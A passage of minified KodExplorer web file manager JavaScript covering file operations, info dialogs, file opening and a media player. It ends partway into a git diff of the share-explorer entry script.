t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var t=n(t);t+="&get_md5=1",core.fileInfo(t,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var o=i.find("input.download_url"),s=o.get(0);o.unbind("hover click").bind("hover click",function(){$(this).focus();var e=o.val().length;if($.browser.msie){var t=s.createTextRange();t.moveEnd("character",-s.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else s.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,t){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},N=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},T=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},S=function(){var e=function(e,t){var i='
        null!
        ';if(0!=e.length){i='
        '+LNG.clipboard_state+LNG[t]+"
        ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="
        "+o.type+": "+s+""}i+="
        "}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},j=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},E=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name); +""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},z=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(z(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=z(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},A=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:A,appAddURL:O,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:S,fav:E,favRemove:j}}),define("app/common/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n\n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/app_edit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t=core.pathExt(e),"swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return d(a,t),void 0}return"pdf"==t?(core.fileLink(e,function(i){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(i);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:i}).embed(n)}}),void 0):inArray(core.filetype.doc,t)?(l(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var t=jsonDecode(e);t.name=core.pathThis(n),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){var i='
        '+LNG.unknow_file_tips+"
        "+t+"

        "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
        ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(l(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e,t){var i="./index.php?explorer/officeView&path="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e)))},c=function(t,i){if(t){"string"==typeof t&&(t=[t]);var a=e("./myPlayer");a.play(t,i)}},d=function(e,t){var i=ShareData.frameTop();i.ui.pathOpen.playerInstance(e,t)};return{open:t,playerInstance:c,play:d,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e,t){t&&"music"!=t||(t=core.pathExt(e));var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},a=i[t],n={extType:a,title:core.pathThis(urlDecode(e)),url:e,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e,t){var i=s(t),n=r(i),d=l(e[0],t);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r]){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else{var p=core.pathExt(n[r]);inArray(core.filetype.music,p)&&e.push(l(n[r],p))}}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a,o){var r=s(o);r==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a,o)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a,o)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file diff --git a/static/js/app/src/share_explorer/main.js b/static/js/app/src/share_explorer/main.js index f117cf1..e0b74f0 100755 --- a/static/js/app/src/share_explorer/main.js +++ b/static/js/app/src/share_explorer/main.js @@ -1,8 +1,8 @@ -/*! power by kodexplorer ver3.35(2016-12-23) [build 1482476909174] */ -define("app/src/share_explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/core","../../share_common/rightMenu","../../common/taskTap","../explorer/ui","../explorer/fileContent","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/path","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize","../explorer/headerAddress","../../share_common/topbar"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".fileContiner",FileBoxClass:".fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".fileContiner .title",SelectClass:".fileContiner .select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folderList",pageApp:"explorer",treeAjaxURL:"index.php?share/treeList&app=folder&user="+G.user+"&sid="+G.sid,AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),TaskTap=e("../../common/taskTap"),ui=e("../explorer/ui"),ui.tree=e("../../common/tree"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),ui.headerAddress=e("../explorer/headerAddress");var t=e("../../share_common/topbar");$(document).ready(function(){function i(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),i=window.location.search.substr(1).match(t);return null!=i?unescape(i[2]):null}core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),ui.tree.init(),TaskTap.init(),rightMenu.initExplorer(),t.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".path_tips").tooltip({placement:"bottom",html:!0}),$(".frame-main .frame-left #folderList").css("bottom","0px"),"file_list"==i("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius")),$(".kod_path_tool #upload").hide(),G.share_info.can_upload&&($(".kod_path_tool #upload").show(),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})),$("#fav").remove(),ui.path.show_file=function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(ui.path.makeParam().path);window.open(e)}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in 